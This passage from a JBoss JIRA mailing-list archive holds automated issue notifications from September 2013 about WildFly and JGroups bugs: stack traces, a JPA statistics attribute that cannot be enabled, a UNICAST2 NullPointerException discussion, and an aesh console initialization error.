> 	at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:138) [undertow-websockets-jsr-1.0.0.Beta3.jar:1.0.0.Beta3]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta3.jar:1.0.0.Beta3]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta3.jar:1.0.0.Beta3]
> 	at io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:85) [undertow-servlet-1.0.0.Beta3.jar:1.0.0.Beta3]
> 	at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:56) [undertow-servlet-1.0.0.Beta3.jar:1.0.0.Beta3]
> 	at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) [undertow-servlet-1.0.0.Beta3.jar:1.0.0.Beta3]
> 	at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:78)
> 	at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:115) [undertow-servlet-1.0.0.Beta3.jar:1.0.0.Beta3]
> 	at io.undertow.security.handlers.AuthenticationCallHandler.handleRequest(AuthenticationCallHandler.java:52) [undertow-core-1.0.0.Beta3.jar:1.0.0.Beta3]
> 	at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:45) [undertow-core-1.0.0.Beta3.jar:1.0.0.Beta3]
> 	at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:65) [undertow-servlet-1.0.0.Beta3.jar:1.0.0.Beta3]
> 	at io.undertow.security.handlers.SecurityInitialHandler.handleRequest(SecurityInitialHandler.java:70) [undertow-core-1.0.0.Beta3.jar:1.0.0.Beta3]
> 	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta3.jar:1.0.0.Beta3]
> 	at org.wildfly.extension.undertow.security.SecurityContextCreationHandler.handleRequest(SecurityContextCreationHandler.java:54)
> 	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta3.jar:1.0.0.Beta3]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:185) [undertow-servlet-1.0.0.Beta3.jar:1.0.0.Beta3]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:172) [undertow-servlet-1.0.0.Beta3.jar:1.0.0.Beta3]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:56) [undertow-servlet-1.0.0.Beta3.jar:1.0.0.Beta3]
> 	at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:107) [undertow-servlet-1.0.0.Beta3.jar:1.0.0.Beta3]
> 	at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta3.jar:1.0.0.Beta3]
> 	at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:629) [undertow-core-1.0.0.Beta3.jar:1.0.0.Beta3]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_17]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_17]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_17]
> Caused by: java.lang.reflect.InvocationTargetException
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [rt.jar:1.7.0_17]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) [rt.jar:1.7.0_17]
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) [rt.jar:1.7.0_17]
> 	at java.lang.reflect.Method.invoke(Method.java:601) [rt.jar:1.7.0_17]
> 	at javax.xml.ws.spi.FactoryFinder.find(FactoryFinder.java:129) [jboss-jaxws-api_2.2_spec-2.0.1.Final.jar:2.0.1.Final]
> 	... 84 more
> Caused by: java.security.AccessControlException: WFSM000001: Permission check failed for ("java.lang.RuntimePermission" "getBootModuleLoader")
> 	at org.wildfly.security.manager.WildFlySecurityManager.checkPermission(WildFlySecurityManager.java:221)
> 	at org.wildfly.security.manager.WildFlySecurityManager.checkPermission(WildFlySecurityManager.java:130)
> 	at org.jboss.modules.Module.getBootModuleLoader(Module.java:393) [jboss-modules.jar:1.2.5.Final-SNAPSHOT]
> 	... 89 more
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 06:59:03 2013
From: jira-events at lists.jboss.org (Jozef Hartinger (JIRA))
Date: Thu, 5 Sep 2013 06:59:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2006) Upgrade Weld to 2.1.0.Beta1
In-Reply-To: <JIRA.12500041.1378378692610@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500041.1378378692610@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500041.1378378692610.10667.1378378743849@jira02.app.mwc.hst.phx2.redhat.com>

Jozef Hartinger created WFLY-2006:
-------------------------------------

             Summary: Upgrade Weld to 2.1.0.Beta1
                 Key: WFLY-2006
                 URL: https://issues.jboss.org/browse/WFLY-2006
             Project: WildFly
          Issue Type: Task
          Components: CDI / Weld
            Reporter: Jozef Hartinger
            Assignee: Jozef Hartinger
             Fix For: 8.0.0.Beta1




--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 07:09:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Thu, 5 Sep 2013 07:09:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2007) Add tests for security realm
 LDAP integration.
In-Reply-To: <JIRA.12500042.1378379250589@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500042.1378379250589@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500042.1378379250589.10674.1378379343349@jira02.app.mwc.hst.phx2.redhat.com>

Darran Lofthouse created WFLY-2007:
--------------------------------------

             Summary: Add tests for security realm LDAP integration.
                 Key: WFLY-2007
                 URL: https://issues.jboss.org/browse/WFLY-2007
             Project: WildFly
          Issue Type: Sub-task
          Components: Domain Management, Security
            Reporter: Darran Lofthouse
            Assignee: Darran Lofthouse
             Fix For: 8.0.0.Beta1


We need to support various LDAP installations with varying schemas, also we are adding support for loading groups from LDAP.

We need to ensure we have sufficient testing of various configurations - previous experiences of LDAP have demonstrated that whilst fixing an issue for one configuration it is very easy to create a regression for another one if there is insufficient test coverage.


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 08:31:04 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Thu, 5 Sep 2013 08:31:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2008) Cannot enabled metrics for
	JPA units
In-Reply-To: <JIRA.12500050.1378384157973@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500050.1378384157973@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500050.1378384157973.10760.1378384264016@jira02.app.mwc.hst.phx2.redhat.com>

Heiko Braun created WFLY-2008:
---------------------------------

             Summary: Cannot enabled metrics for JPA units
                 Key: WFLY-2008
                 URL: https://issues.jboss.org/browse/WFLY-2008
             Project: WildFly
          Issue Type: Bug
          Components: JPA / Hibernate
            Reporter: Heiko Braun
            Assignee: Scott Marlow
             Fix For: 8.0.0.Beta1


In the past we could set the enabled attribute turn the statistics, this doesn't work anymore:

{noformat}
[domain at localhost:9990 /] /host=master/server=stage1/deployment=jboss-as-kitchensink-jsp.war/subsystem=jpa/hibernate-persistence-unit=jboss-as-kitchensink-jsp.war#primary:write-attribute(name=enabled,value=true)
{
    "outcome" => "success",
    "result" => undefined
}
[domain at localhost:9990 /] /host=master/server=stage1/deployment=jboss-as-kitchensink-jsp.war/subsystem=jpa/hibernate-persistence-unit=jboss-as-kitchensink-jsp.war#primary:read-resource(include-runtime=true)     
{
    "outcome" => "success",
    "result" => {
        "close-statement-count" => 0L,
        "collection-fetch-count" => 0L,
        "collection-load-count" => 0L,
        "collection-recreated-count" => 0L,
        "collection-remove-count" => 0L,
        "collection-update-count" => 0L,
        "completed-transaction-count" => 0L,
        "connect-count" => 0L,
        "enabled" => undefined,
        "entity-delete-count" => 0L,
        "entity-fetch-count" => 0L,
        "entity-insert-count" => 0L,
        "entity-load-count" => 0L,
        "entity-update-count" => 0L,
        "flush-count" => 0L,
        "hibernate-persistence-unit" => "jboss-as-kitchensink-jsp.war#primary",
        "optimistic-failure-count" => 0L,
        "prepared-statement-count" => 0L,
        "query-cache-hit-count" => 0L,
        "query-cache-miss-count" => 0L,
        "query-cache-put-count" => 0L,
        "query-execution-count" => 0L,
        "query-execution-max-time" => 0L,
        "query-execution-max-time-query-string" => "null",
        "second-level-cache-hit-count" => 0L,
        "second-level-cache-miss-count" => 0L,
        "second-level-cache-put-count" => 0L,
        "session-close-count" => 0L,
        "session-open-count" => 0L,
        "successful-transaction-count" => 0L,
        "collection" => undefined,
        "entity" => {"org.jboss.as.quickstarts.kitchensinkjsp.model.Member" => undefined},
        "entity-cache" => {"org.jboss.as.quickstarts.kitchensinkjsp.model.Member" => undefined},
        "query-cache" => undefined
    }
}

{noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 08:31:04 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Thu, 5 Sep 2013 08:31:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2008) Cannot enabled metrics for
	JPA units
In-Reply-To: <JIRA.12500050.1378384157000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500050.1378384157000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500050.1378384157000.10764.1378384264204@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2008?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun updated WFLY-2008:
------------------------------

    Description: 
In the past we could set the enabled attribute turn the statistics, this doesn't work anymore. It remains 'undefined'. See this example:

{noformat}
[domain at localhost:9990 /] /host=master/server=stage1/deployment=jboss-as-kitchensink-jsp.war/subsystem=jpa/hibernate-persistence-unit=jboss-as-kitchensink-jsp.war#primary:write-attribute(name=enabled,value=true)
{
    "outcome" => "success",
    "result" => undefined
}
[domain at localhost:9990 /] /host=master/server=stage1/deployment=jboss-as-kitchensink-jsp.war/subsystem=jpa/hibernate-persistence-unit=jboss-as-kitchensink-jsp.war#primary:read-resource(include-runtime=true)     
{
    "outcome" => "success",
    "result" => {
        "close-statement-count" => 0L,
        "collection-fetch-count" => 0L,
        "collection-load-count" => 0L,
        "collection-recreated-count" => 0L,
        "collection-remove-count" => 0L,
        "collection-update-count" => 0L,
        "completed-transaction-count" => 0L,
        "connect-count" => 0L,
        "enabled" => undefined,
        "entity-delete-count" => 0L,
        "entity-fetch-count" => 0L,
        "entity-insert-count" => 0L,
        "entity-load-count" => 0L,
        "entity-update-count" => 0L,
        "flush-count" => 0L,
        "hibernate-persistence-unit" => "jboss-as-kitchensink-jsp.war#primary",
        "optimistic-failure-count" => 0L,
        "prepared-statement-count" => 0L,
        "query-cache-hit-count" => 0L,
        "query-cache-miss-count" => 0L,
        "query-cache-put-count" => 0L,
        "query-execution-count" => 0L,
        "query-execution-max-time" => 0L,
        "query-execution-max-time-query-string" => "null",
        "second-level-cache-hit-count" => 0L,
        "second-level-cache-miss-count" => 0L,
        "second-level-cache-put-count" => 0L,
        "session-close-count" => 0L,
        "session-open-count" => 0L,
        "successful-transaction-count" => 0L,
        "collection" => undefined,
        "entity" => {"org.jboss.as.quickstarts.kitchensinkjsp.model.Member" => undefined},
        "entity-cache" => {"org.jboss.as.quickstarts.kitchensinkjsp.model.Member" => undefined},
        "query-cache" => undefined
    }
}

{noformat}

  was:
In the past we could set the enabled attribute turn the statistics, this doesn't work anymore:

{noformat}
[domain at localhost:9990 /] /host=master/server=stage1/deployment=jboss-as-kitchensink-jsp.war/subsystem=jpa/hibernate-persistence-unit=jboss-as-kitchensink-jsp.war#primary:write-attribute(name=enabled,value=true)
{
    "outcome" => "success",
    "result" => undefined
}
[domain at localhost:9990 /] /host=master/server=stage1/deployment=jboss-as-kitchensink-jsp.war/subsystem=jpa/hibernate-persistence-unit=jboss-as-kitchensink-jsp.war#primary:read-resource(include-runtime=true)     
{
    "outcome" => "success",
    "result" => {
        "close-statement-count" => 0L,
        "collection-fetch-count" => 0L,
        "collection-load-count" => 0L,
        "collection-recreated-count" => 0L,
        "collection-remove-count" => 0L,
        "collection-update-count" => 0L,
        "completed-transaction-count" => 0L,
        "connect-count" => 0L,
        "enabled" => undefined,
        "entity-delete-count" => 0L,
        "entity-fetch-count" => 0L,
        "entity-insert-count" => 0L,
        "entity-load-count" => 0L,
        "entity-update-count" => 0L,
        "flush-count" => 0L,
        "hibernate-persistence-unit" => "jboss-as-kitchensink-jsp.war#primary",
        "optimistic-failure-count" => 0L,
        "prepared-statement-count" => 0L,
        "query-cache-hit-count" => 0L,
        "query-cache-miss-count" => 0L,
        "query-cache-put-count" => 0L,
        "query-execution-count" => 0L,
        "query-execution-max-time" => 0L,
        "query-execution-max-time-query-string" => "null",
        "second-level-cache-hit-count" => 0L,
        "second-level-cache-miss-count" => 0L,
        "second-level-cache-put-count" => 0L,
        "session-close-count" => 0L,
        "session-open-count" => 0L,
        "successful-transaction-count" => 0L,
        "collection" => undefined,
        "entity" => {"org.jboss.as.quickstarts.kitchensinkjsp.model.Member" => undefined},
        "entity-cache" => {"org.jboss.as.quickstarts.kitchensinkjsp.model.Member" => undefined},
        "query-cache" => undefined
    }
}

{noformat}


    
> Cannot enabled metrics for JPA units
> ------------------------------------
>
>                 Key: WFLY-2008
>                 URL: https://issues.jboss.org/browse/WFLY-2008
>             Project: WildFly
>          Issue Type: Bug
>          Components: JPA / Hibernate
>            Reporter: Heiko Braun
>            Assignee: Scott Marlow
>             Fix For: 8.0.0.Beta1
>
>
> In the past we could set the enabled attribute turn the statistics, this doesn't work anymore. It remains 'undefined'. See this example:
> {noformat}
> [domain at localhost:9990 /] /host=master/server=stage1/deployment=jboss-as-kitchensink-jsp.war/subsystem=jpa/hibernate-persistence-unit=jboss-as-kitchensink-jsp.war#primary:write-attribute(name=enabled,value=true)
> {
>     "outcome" => "success",
>     "result" => undefined
> }
> [domain at localhost:9990 /] /host=master/server=stage1/deployment=jboss-as-kitchensink-jsp.war/subsystem=jpa/hibernate-persistence-unit=jboss-as-kitchensink-jsp.war#primary:read-resource(include-runtime=true)     
> {
>     "outcome" => "success",
>     "result" => {
>         "close-statement-count" => 0L,
>         "collection-fetch-count" => 0L,
>         "collection-load-count" => 0L,
>         "collection-recreated-count" => 0L,
>         "collection-remove-count" => 0L,
>         "collection-update-count" => 0L,
>         "completed-transaction-count" => 0L,
>         "connect-count" => 0L,
>         "enabled" => undefined,
>         "entity-delete-count" => 0L,
>         "entity-fetch-count" => 0L,
>         "entity-insert-count" => 0L,
>         "entity-load-count" => 0L,
>         "entity-update-count" => 0L,
>         "flush-count" => 0L,
>         "hibernate-persistence-unit" => "jboss-as-kitchensink-jsp.war#primary",
>         "optimistic-failure-count" => 0L,
>         "prepared-statement-count" => 0L,
>         "query-cache-hit-count" => 0L,
>         "query-cache-miss-count" => 0L,
>         "query-cache-put-count" => 0L,
>         "query-execution-count" => 0L,
>         "query-execution-max-time" => 0L,
>         "query-execution-max-time-query-string" => "null",
>         "second-level-cache-hit-count" => 0L,
>         "second-level-cache-miss-count" => 0L,
>         "second-level-cache-put-count" => 0L,
>         "session-close-count" => 0L,
>         "session-open-count" => 0L,
>         "successful-transaction-count" => 0L,
>         "collection" => undefined,
>         "entity" => {"org.jboss.as.quickstarts.kitchensinkjsp.model.Member" => undefined},
>         "entity-cache" => {"org.jboss.as.quickstarts.kitchensinkjsp.model.Member" => undefined},
>         "query-cache" => undefined
>     }
> }
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 08:39:03 2013
From: jira-events at lists.jboss.org (Radoslav Husar (JIRA))
Date: Thu, 5 Sep 2013 08:39:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1684) NPE in UNICAST2.up()
In-Reply-To: <JIRA.12499446.1377612350000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499446.1377612350000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499446.1377612350000.10784.1378384743459@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1684?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801854#comment-12801854 ] 

Radoslav Husar commented on JGRP-1684:
--------------------------------------

Hi Bela,

I have been digging further, I need your advice.

== Singleton transport

I am assuming this is the logic that adds the source address if it hasn't been set yet (is null):

https://github.com/belaban/JGroups/blob/master/src/org/jgroups/protocols/TP.java#L1284

However that is done only for non-singleton transport, however in EAP I believe we are using singleton transport. So it would not get set by TP. I am wondering should it really be skipped? Maybe other code that does it?

So if we know we are going to check the sender address on receive, could we set it already in UNICAST's generation of the ack packet?

https://github.com/rhusar/JGroups/compare/belaban:Branch_JGroups_3_2...JGRP-1684_2?expand=1


== Timing

Looking at the startup logic, it seems as though the local_addr should be marked volatile:

https://github.com/belaban/JGroups/blob/master/src/org/jgroups/protocols/TP.java#L540

but that doesn't seem to be the issue hitting us now.


Looking at the other nodes' logs I am assuming the corrupted message has been by the node which was _shutting down_ exactly at that time 

http://jenkins.mw.lab.eng.bos.redhat.com/hudson/job/eap-6x-failover-ejb-ejbservlet-shutdown-dist-async/15/console-perf19/consoleText

Also I wonder if this could be related (haven't checked):

log [JBossINF] [0m[33m11:53:25,976 WARN  [org.infinispan.topology.CacheTopologyControlCommand] (OOB-2,shared=udp) ISPN000071: Caught exception when handling command CacheTopologyControlCommand{cache=dist, type=REBALANCE_CONFIRM, sender=perf18/web, joinInfo=null, topologyId=13, currentCH=null, pendingCH=null, throwable=null, viewId=6}: org.infinispan.CacheException: Received invalid rebalance confirmation from perf18/web for cache dist, we don't have a rebalance in progress


Thanks
                
> NPE in UNICAST2.up()
> --------------------
>
>                 Key: JGRP-1684
>                 URL: https://issues.jboss.org/browse/JGRP-1684
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.2.10
>            Reporter: Radoslav Husar
>            Assignee: Radoslav Husar
>
> {noformat}
> 11:53:25,993 ERROR [org.jgroups.protocols.UDP] (OOB-13,shared=udp) failed handling incoming message: java.lang.NullPointerException
> 	at java.util.concurrent.ConcurrentHashMap.get(ConcurrentHashMap.java:768) [rt.jar:1.6.0_45]
> 	at org.jgroups.protocols.UNICAST2.up(UNICAST2.java:432)
> 	at org.jgroups.protocols.pbcast.NAKACK.up(NAKACK.java:645)
> 	at org.jgroups.protocols.VERIFY_SUSPECT.up(VERIFY_SUSPECT.java:147)
> 	at org.jgroups.protocols.FD.up(FD.java:253)
> 	at org.jgroups.protocols.FD_SOCK.up(FD_SOCK.java:288)
> 	at org.jgroups.protocols.MERGE3.up(MERGE3.java:290)
> 	at org.jgroups.protocols.Discovery.up(Discovery.java:359)
> 	at org.jgroups.protocols.TP$ProtocolAdapter.up(TP.java:2610)
> 	at org.jgroups.protocols.TP.passMessageUp(TP.java:1263)
> 	at org.jgroups.protocols.TP$IncomingPacket.handleMyMessage(TP.java:1825)
> 	at org.jgroups.protocols.TP$IncomingPacket.run(TP.java:1798)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:895) [rt.jar:1.6.0_45]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:918) [rt.jar:1.6.0_45]
> 	at java.lang.Thread.run(Thread.java:662) [rt.jar:1.6.0_45]
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Thu Sep  5 08:50:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Thu, 5 Sep 2013 08:50:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1684) NPE in UNICAST2.up()
In-Reply-To: <JIRA.12499446.1377612350000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499446.1377612350000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499446.1377612350000.10866.1378385403780@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1684?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801881#comment-12801881 ] 

Bela Ban commented on JGRP-1684:
--------------------------------

TP.ProtoclAdapter sets the local_addr
                
> NPE in UNICAST2.up()
> --------------------
>
>                 Key: JGRP-1684
>                 URL: https://issues.jboss.org/browse/JGRP-1684
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.2.10
>            Reporter: Radoslav Husar
>            Assignee: Radoslav Husar
>
> {noformat}
> 11:53:25,993 ERROR [org.jgroups.protocols.UDP] (OOB-13,shared=udp) failed handling incoming message: java.lang.NullPointerException
> 	at java.util.concurrent.ConcurrentHashMap.get(ConcurrentHashMap.java:768) [rt.jar:1.6.0_45]
> 	at org.jgroups.protocols.UNICAST2.up(UNICAST2.java:432)
> 	at org.jgroups.protocols.pbcast.NAKACK.up(NAKACK.java:645)
> 	at org.jgroups.protocols.VERIFY_SUSPECT.up(VERIFY_SUSPECT.java:147)
> 	at org.jgroups.protocols.FD.up(FD.java:253)
> 	at org.jgroups.protocols.FD_SOCK.up(FD_SOCK.java:288)
> 	at org.jgroups.protocols.MERGE3.up(MERGE3.java:290)
> 	at org.jgroups.protocols.Discovery.up(Discovery.java:359)
> 	at org.jgroups.protocols.TP$ProtocolAdapter.up(TP.java:2610)
> 	at org.jgroups.protocols.TP.passMessageUp(TP.java:1263)
> 	at org.jgroups.protocols.TP$IncomingPacket.handleMyMessage(TP.java:1825)
> 	at org.jgroups.protocols.TP$IncomingPacket.run(TP.java:1798)
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:895) [rt.jar:1.6.0_45]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:918) [rt.jar:1.6.0_45]
> 	at java.lang.Thread.run(Thread.java:662) [rt.jar:1.6.0_45]
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 09:05:03 2013
From: jira-events at lists.jboss.org (Jan Martiska (JIRA))
Date: Thu, 5 Sep 2013 09:05:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2009) IOException in aesh console
 initialization results in NPE
In-Reply-To: <JIRA.12500058.1378386266132@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500058.1378386266132@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500058.1378386266132.10940.1378386303626@jira02.app.mwc.hst.phx2.redhat.com>

Jan Martiska created WFLY-2009:
----------------------------------

             Summary: IOException in aesh console initialization results in NPE
                 Key: WFLY-2009
                 URL: https://issues.jboss.org/browse/WFLY-2009
             Project: WildFly
          Issue Type: Bug
          Components: CLI
    Affects Versions: 8.0.0.Alpha4
            Reporter: Jan Martiska
            Assignee: Jan Martiska


In source file org.jboss.as.cli.impl.Console, method Factory.getConsole:
if the constructor call "new org.jboss.aesh.console.Console()" leads to an IOException, it is only logged and then ignored, always yielding a NullPointerException just a few lines later (console.addCompletion(new Completion() ...)

I think the IOException should rather be rethrown wrapped in a CliInitializationException, so the resulting exception will not lose track of why this happened. Allowing a NPE go out of the internals is a wrong approach.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 09:09:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 5 Sep 2013 09:09:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2009) IOException in aesh console
 initialization results in NPE
In-Reply-To: <JIRA.12500058.1378386266000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500058.1378386266000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500058.1378386266000.10952.1378386543479@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2009?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-2009:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1004714

    
> IOException in aesh console initialization results in NPE
> ---------------------------------------------------------
>
>                 Key: WFLY-2009
>                 URL: https://issues.jboss.org/browse/WFLY-2009
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Jan Martiska
>            Assignee: Jan Martiska
>
> In source file org.jboss.as.cli.impl.Console, method Factory.getConsole:
> if the constructor call "new org.jboss.aesh.console.Console()" leads to an IOException, it is only logged and then ignored, always yielding a NullPointerException just a few lines later (console.addCompletion(new Completion() ...)
> I think the IOException should rather be rethrown wrapped in a CliInitializationException, so the resulting exception will not lose track of why this happened. Allowing a NPE go out of the internals is a wrong approach.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 09:09:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 5 Sep 2013 09:09:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2009) IOException in aesh console
 initialization results in NPE
In-Reply-To: <JIRA.12500058.1378386266000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500058.1378386266000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500058.1378386266000.10955.1378386543654@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2009?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801908#comment-12801908 ] 

RH Bugzilla Integration commented on WFLY-2009:
-----------------------------------------------

Jan Martiska <jmartisk at redhat.com> changed the Status of [bug 1004714|https://bugzilla.redhat.com/show_bug.cgi?id=1004714] from NEW to ASSIGNED
                
> IOException in aesh console initialization results in NPE
> ---------------------------------------------------------
>
>                 Key: WFLY-2009
>                 URL: https://issues.jboss.org/browse/WFLY-2009
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Jan Martiska
>            Assignee: Jan Martiska
>
> In source file org.jboss.as.cli.impl.Console, method Factory.getConsole:
> if the constructor call "new org.jboss.aesh.console.Console()" leads to an IOException, it is only logged and then ignored, always yielding a NullPointerException just a few lines later (console.addCompletion(new Completion() ...)
> I think the IOException should rather be rethrown wrapped in a CliInitializationException, so the resulting exception will not lose track of why this happened. Allowing a NPE go out of the internals is a wrong approach.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 09:17:03 2013
From: jira-events at lists.jboss.org (Jan Martiska (JIRA))
Date: Thu, 5 Sep 2013 09:17:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2009) IOException in aesh console
 initialization results in NPE
In-Reply-To: <JIRA.12500058.1378386266000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500058.1378386266000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500058.1378386266000.10977.1378387023478@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2009?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jan Martiska updated WFLY-2009:
-------------------------------

    Git Pull Request: https://github.com/wildfly/wildfly/pull/5007

    
> IOException in aesh console initialization results in NPE
> ---------------------------------------------------------
>
>                 Key: WFLY-2009
>                 URL: https://issues.jboss.org/browse/WFLY-2009
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Jan Martiska
>            Assignee: Jan Martiska
>
